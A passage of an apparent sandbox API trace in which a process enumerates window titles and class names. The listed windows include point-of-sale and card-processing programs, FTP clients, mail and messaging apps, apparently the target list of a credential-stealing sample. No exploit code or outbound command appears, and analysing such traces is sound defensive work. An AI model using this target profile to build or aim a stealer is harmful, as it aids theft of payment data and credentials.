hWnd=0x1031a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="isspos_win") returned 10 [0140.289] GetWindowTextW (in: hWnd=0x10300, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Ccv_Server") returned 10 [0140.290] GetClassNameW (in: hWnd=0x10300, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ccv_serverwin") returned 13 [0140.290] GetWindowTextW (in: hWnd=0x102f2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Afr38") returned 5 [0140.290] GetClassNameW (in: hWnd=0x102f2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="afr38wnd") returned 8 [0140.290] GetWindowTextW (in: hWnd=0x10306, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Centralcreditcard") returned 17 [0140.290] GetClassNameW (in: hWnd=0x10306, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="centralcreditcard_wnd") returned 21 [0140.290] GetWindowTextW (in: hWnd=0x102f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Aldelo") returned 6 [0140.290] GetClassNameW (in: hWnd=0x102f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="aldelowindow") returned 12 [0140.290] GetWindowTextW (in: hWnd=0x102ee, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Accupos") returned 7 [0140.290] GetClassNameW (in: hWnd=0x102ee, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="accupos_") returned 8 [0140.291] GetWindowTextW (in: hWnd=0x102e8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Active-Charge") returned 13 [0140.291] GetClassNameW (in: hWnd=0x102e8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="active-chargewin") returned 16 [0140.291] GetWindowTextW (in: hWnd=0x102e6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Yahoomessenger") returned 14 [0140.291] GetClassNameW (in: hWnd=0x102e6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="yahoomessengerwindow") returned 20 [0140.291] GetWindowTextW (in: hWnd=0x102d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Whatsapp") returned 8 [0140.291] GetClassNameW (in: hWnd=0x102d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="whatsapp_cls") returned 12 [0140.291] GetWindowTextW (in: hWnd=0x102e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Winscp") returned 6 [0140.291] GetClassNameW (in: hWnd=0x102e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="winscp_app") returned 10 [0140.291] GetWindowTextW (in: hWnd=0x102d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Webdrive") returned 8 [0140.292] GetClassNameW (in: hWnd=0x102d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="webdriveapp") returned 11 [0140.292] GetWindowTextW (in: hWnd=0x102d2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Trillian") returned 8 [0140.292] GetClassNameW (in: hWnd=0x102d2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="trillianwin") returned 11 [0140.292] GetWindowTextW (in: hWnd=0x102aa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Smartftp") returned 8 [0140.292] GetClassNameW (in: hWnd=0x102aa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="smartftpwnd") returned 11 [0140.292] GetWindowTextW (in: hWnd=0x102b0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Skype") returned 5 [0140.292] GetClassNameW (in: hWnd=0x102b0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="skype_wnd") returned 9 [0140.292] GetWindowTextW (in: hWnd=0x102ac, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Thunderbird") returned 11 [0140.292] GetClassNameW (in: hWnd=0x102ac, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="thunderbird_wnd") returned 15 [0140.293] GetWindowTextW (in: hWnd=0x1029c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Scriptftp") returned 9 [0140.293] GetClassNameW (in: hWnd=0x1029c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="scriptftpapp") returned 12 [0140.293] GetWindowTextW (in: hWnd=0x10292, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Outlook") returned 7 [0140.293] GetClassNameW (in: hWnd=0x10292, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="outlookwindow") returned 13 [0140.293] GetWindowTextW (in: hWnd=0x10294, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Pidgin") returned 6 [0140.293] GetClassNameW (in: hWnd=0x10294, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="pidgin_cls") returned 10 [0140.293] GetWindowTextW (in: hWnd=0x10286, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Notepad") returned 7 [0140.293] GetClassNameW (in: hWnd=0x10286, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="notepad") returned 7 [0140.293] GetWindowTextW (in: hWnd=0x10288, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Operamail") returned 9 [0140.294] GetClassNameW (in: hWnd=0x10288, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="operamail_window") returned 16 [0140.294] GetWindowTextW (in: hWnd=0x1027e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Ncftp") returned 5 [0140.294] GetClassNameW (in: hWnd=0x1027e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ncftp_win") returned 9 [0140.294] GetWindowTextW (in: hWnd=0x10274, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Icq") returned 3 [0140.294] GetClassNameW (in: hWnd=0x10274, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="icq_class") returned 9 [0140.294] GetWindowTextW (in: hWnd=0x10272, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Gmailnotifierpro") returned 16 [0140.294] GetClassNameW (in: hWnd=0x10272, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="gmailnotifierprowindow") returned 22 [0140.294] GetWindowTextW (in: hWnd=0x1026a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Foxmailincmail") returned 14 [0140.294] GetClassNameW (in: hWnd=0x1026a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="foxmailincmailwin") returned 17 [0140.295] GetWindowTextW (in: hWnd=0x10252, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Far") returned 3 [0140.295] GetClassNameW (in: hWnd=0x10252, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="farcls") returned 6 [0140.295] GetWindowTextW (in: hWnd=0x1024c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Bitkinex") returned 8 [0140.295] GetClassNameW (in: hWnd=0x1024c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="bitkinex") returned 8 [0140.295] GetWindowTextW (in: hWnd=0x1023e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Alftp") returned 5 [0140.295] GetClassNameW (in: hWnd=0x1023e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="alftp_class") returned 11 [0140.295] GetWindowTextW (in: hWnd=0x10238, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="3Dftp") returned 5 [0140.295] GetClassNameW (in: hWnd=0x10238, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="3dftp") returned 5 [0140.296] GetWindowTextW (in: hWnd=0x10266, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Fling") returned 5 [0140.296] GetClassNameW (in: hWnd=0x10266, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="fling_window") returned 12 [0140.296] GetWindowTextW (in: hWnd=0x1027a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Leechftp") returned 8 [0140.296] GetClassNameW (in: hWnd=0x1027a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="leechftpwnd") returned 11 [0140.296] GetWindowTextW (in: hWnd=0x1025e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Filezilla") returned 9 [0140.296] GetClassNameW (in: hWnd=0x1025e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="filezilla_wnd") returned 13 [0140.296] GetWindowTextW (in: hWnd=0x10236, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Institution Big Direction") returned 25 [0140.296] GetClassNameW (in: hWnd=0x10236, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="InstitutionBigDirection") returned 23 [0140.297] GetWindowTextW (in: hWnd=0x10260, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Flashfxp") returned 8 [0140.297] GetClassNameW (in: hWnd=0x10260, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="flashfxpwnd") returned 11 [0140.297] GetWindowTextW (in: hWnd=0x10254, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Coreftp") returned 7 [0140.297] GetClassNameW (in: hWnd=0x10254, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="coreftp_wnd") returned 11 [0140.297] GetWindowTextW (in: hWnd=0x1024a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Barca") returned 5 [0140.297] GetClassNameW (in: hWnd=0x1024a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="barcaclass") returned 10 [0140.298] GetWindowTextW (in: hWnd=0x10226, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="For Receive") returned 11 [0140.298] GetClassNameW (in: hWnd=0x10226, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Forreceiveapp") returned 13 [0140.298] GetWindowTextW (in: hWnd=0x1021c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Behind Town") returned 11 [0140.298] GetClassNameW (in: hWnd=0x1021c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Behind_town_window") returned 18 [0140.298] GetWindowTextW (in: hWnd=0x10240, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Absolutetelnet") returned 14 [0140.298] GetClassNameW (in: hWnd=0x10240, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="absolutetelnet_class") returned 20 [0140.298] GetWindowTextW (in: hWnd=0x10218, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Particular Crime") returned 16 [0140.298] GetClassNameW (in: hWnd=0x10218, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="particularCrimeclass") returned 20 [0140.298] GetWindowTextW (in: hWnd=0x1022c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Meet Seat Sometimes") returned 19 [0140.299] GetClassNameW (in: hWnd=0x1022c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MeetseatSometimeswindow") returned 23 [0140.299] GetWindowTextW (in: hWnd=0x10224, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Private Perform Born") returned 20 [0140.299] GetClassNameW (in: hWnd=0x10224, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Private_Perform_Born_") returned 21 [0140.299] GetWindowTextW (in: hWnd=0x1020a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Arm Already Outside") returned 19 [0140.299] GetClassNameW (in: hWnd=0x1020a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Arm_already_outside_win") returned 23 [0140.299] GetWindowTextW (in: hWnd=0x10202, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Big") returned 3 [0140.299] GetClassNameW (in: hWnd=0x10202, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="big_window") returned 10 [0140.299] GetWindowTextW (in: hWnd=0x1021e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Player Pay Half") returned 15 [0140.299] GetClassNameW (in: hWnd=0x1021e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="playerpayhalfwindow") returned 19 [0140.299] GetWindowTextW (in: hWnd=0x10216, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Sea Travel Style") returned 16 [0140.300] GetClassNameW (in: hWnd=0x10216, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Sea_Travel_style_cls") returned 20 [0140.300] GetWindowTextW (in: hWnd=0x10200, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Magazine") returned 8 [0140.300] GetClassNameW (in: hWnd=0x10200, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="magazine_app") returned 12 [0140.300] GetWindowTextW (in: hWnd=0x10204, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Production Tend") returned 15 [0140.300] GetClassNameW (in: hWnd=0x10204, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="productiontendcls") returned 17 [0140.300] GetWindowTextW (in: hWnd=0x301f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Painting") returned 8 [0140.300] GetClassNameW (in: hWnd=0x301f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="paintingcls") returned 11 [0140.300] GetWindowTextW (in: hWnd=0x201fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Better") returned 6 [0140.300] GetClassNameW (in: hWnd=0x201fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Betterclass") returned 11 [0140.301] GetWindowTextW (in: hWnd=0x30032, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Run Service Who") returned 15 [0140.301] GetClassNameW (in: hWnd=0x30032, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Run_service_Who_") returned 16 [0140.301] GetWindowTextW (in: hWnd=0x3001c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.301] GetClassNameW (in: hWnd=0x3001c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.301] GetWindowTextW (in: hWnd=0x20142, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.301] GetClassNameW (in: hWnd=0x20142, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0140.301] GetWindowTextW (in: hWnd=0x2013e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.301] GetClassNameW (in: hWnd=0x2013e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0140.302] GetWindowTextW (in: hWnd=0x20140, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.302] GetClassNameW (in: hWnd=0x20140, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.302] GetWindowTextW (in: hWnd=0x2008a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.302] GetClassNameW (in: hWnd=0x2008a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.302] GetWindowTextW (in: hWnd=0x60046, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="AutoIt v3") returned 9 [0140.302] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0xd, wParam=0x400, lParam=0xbdedb0) returned 0x9 [0140.302] GetClassNameW (in: hWnd=0x60046, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="AutoIt v3") returned 9 [0140.302] GetWindowTextW (in: hWnd=0x702ec, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.302] GetClassNameW (in: hWnd=0x702ec, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0140.302] GetWindowTextW (in: hWnd=0x101e8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MS_WebcheckMonitor") returned 18 [0140.303] GetClassNameW (in: hWnd=0x101e8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0140.303] GetWindowTextW (in: hWnd=0x101e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="BluetoothNotificationAreaIconWindowClass") returned 40 [0140.303] GetClassNameW (in: hWnd=0x101e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0140.303] GetWindowTextW (in: hWnd=0x101dc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.303] GetClassNameW (in: hWnd=0x101dc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="PNIHiddenWnd") returned 12 [0140.303] GetWindowTextW (in: hWnd=0x101d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.303] GetClassNameW (in: hWnd=0x101d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.303] GetWindowTextW (in: hWnd=0x101d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.304] GetClassNameW (in: hWnd=0x101d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.304] GetWindowTextW (in: hWnd=0x101d0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.304] GetClassNameW (in: hWnd=0x101d0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.304] GetWindowTextW (in: hWnd=0x101c2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.304] GetClassNameW (in: hWnd=0x101c2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ATL:00007FFFE39A7080") returned 20 [0140.304] GetWindowTextW (in: hWnd=0x101ba, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.304] GetClassNameW (in: hWnd=0x101ba, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.304] GetWindowTextW (in: hWnd=0x101aa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Battery Meter") returned 13 [0140.304] GetClassNameW (in: hWnd=0x101aa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="SystemTray_Main") returned 15 [0140.305] GetWindowTextW (in: hWnd=0x101a6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.305] GetClassNameW (in: hWnd=0x101a6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.305] GetWindowTextW (in: hWnd=0x20186, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0140.305] GetClassNameW (in: hWnd=0x20186, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0140.305] GetWindowTextW (in: hWnd=0x10188, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Task Host Window") returned 16 [0140.305] GetClassNameW (in: hWnd=0x10188, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0140.305] GetWindowTextW (in: hWnd=0x1011c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.305] GetClassNameW (in: hWnd=0x1011c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.305] GetWindowTextW (in: hWnd=0x10124, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.306] GetClassNameW (in: hWnd=0x10124, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabletModeCoverWindow") returned 21 [0140.306] GetWindowTextW (in: hWnd=0x10198, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.306] GetClassNameW (in: hWnd=0x10198, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.306] GetWindowTextW (in: hWnd=0x1019a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.306] GetClassNameW (in: hWnd=0x1019a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.306] GetWindowTextW (in: hWnd=0x10122, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.306] GetClassNameW (in: hWnd=0x10122, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0140.306] GetWindowTextW (in: hWnd=0x1011a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.307] GetClassNameW (in: hWnd=0x1011a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0140.307] GetWindowTextW (in: hWnd=0x100fc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Windows Push Notifications Platform") returned 35 [0140.307] GetClassNameW (in: hWnd=0x100fc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0140.307] GetWindowTextW (in: hWnd=0x100f8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0140.307] GetClassNameW (in: hWnd=0x100f8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0140.307] GetWindowTextW (in: hWnd=0x100f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.307] GetClassNameW (in: hWnd=0x100f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.307] GetWindowTextW (in: hWnd=0x100f2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.307] GetClassNameW (in: hWnd=0x100f2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0140.308] GetWindowTextW (in: hWnd=0x100ee, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.308] GetClassNameW (in: hWnd=0x100ee, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.308] GetWindowTextW (in: hWnd=0x100ea, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.308] GetClassNameW (in: hWnd=0x100ea, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.308] GetWindowTextW (in: hWnd=0x200e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.308] GetClassNameW (in: hWnd=0x200e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.308] GetWindowTextW (in: hWnd=0x100ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.308] GetClassNameW (in: hWnd=0x100ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0140.308] GetWindowTextW (in: hWnd=0x100b6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.309] GetClassNameW (in: hWnd=0x100b6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0140.309] GetWindowTextW (in: hWnd=0x20072, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.309] GetClassNameW (in: hWnd=0x20072, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0140.309] GetWindowTextW (in: hWnd=0x4006e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.309] GetClassNameW (in: hWnd=0x4006e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0140.309] GetWindowTextW (in: hWnd=0x10024, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DWM Notification Window") returned 23 [0140.309] GetClassNameW (in: hWnd=0x10024, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Dwm") returned 3 [0140.309] GetWindowTextW (in: hWnd=0x101a4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.310] GetClassNameW (in: hWnd=0x101a4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="CicLoaderWndClass") returned 17 [0140.310] GetWindowTextW (in: hWnd=0x30302, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.310] GetClassNameW (in: hWnd=0x30302, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0140.310] GetWindowTextW (in: hWnd=0x3028e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.310] GetClassNameW (in: hWnd=0x3028e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0140.310] GetWindowTextW (in: hWnd=0x100d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Program Manager") returned 15 [0140.310] GetClassNameW (in: hWnd=0x100d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Progman") returned 7 [0140.310] GetWindowTextW (in: hWnd=0x10134, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.310] GetClassNameW (in: hWnd=0x10134, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.311] GetWindowTextW (in: hWnd=0x200a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0140.311] GetClassNameW (in: hWnd=0x200a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0140.311] GetWindowTextW (in: hWnd=0x10086, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.311] GetClassNameW (in: hWnd=0x10086, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.311] GetWindowTextW (in: hWnd=0x20312, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.311] GetClassNameW (in: hWnd=0x20312, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.311] GetWindowTextW (in: hWnd=0x702a6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.311] GetClassNameW (in: hWnd=0x702a6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.311] GetWindowTextW (in: hWnd=0x20270, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.312] GetClassNameW (in: hWnd=0x20270, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.312] GetWindowTextW (in: hWnd=0x202e2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.312] GetClassNameW (in: hWnd=0x202e2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.312] GetWindowTextW (in: hWnd=0x140206, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.312] GetClassNameW (in: hWnd=0x140206, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.312] GetWindowTextW (in: hWnd=0x1035e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.312] GetClassNameW (in: hWnd=0x1035e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.313] GetWindowTextW (in: hWnd=0x1035c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.313] GetClassNameW (in: hWnd=0x1035c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.313] GetWindowTextW (in: hWnd=0x1035a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.313] GetClassNameW (in: hWnd=0x1035a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.313] GetWindowTextW (in: hWnd=0x10358, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.313] GetClassNameW (in: hWnd=0x10358, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.313] GetWindowTextW (in: hWnd=0x10356, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.313] GetClassNameW (in: hWnd=0x10356, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.314] GetWindowTextW (in: hWnd=0x10354, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.314] GetClassNameW (in: hWnd=0x10354, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.314] GetWindowTextW (in: hWnd=0x10352, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.314] GetClassNameW (in: hWnd=0x10352, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.314] GetWindowTextW (in: hWnd=0x1034a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.314] GetClassNameW (in: hWnd=0x1034a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.314] GetWindowTextW (in: hWnd=0x10346, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.314] GetClassNameW (in: hWnd=0x10346, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.315] 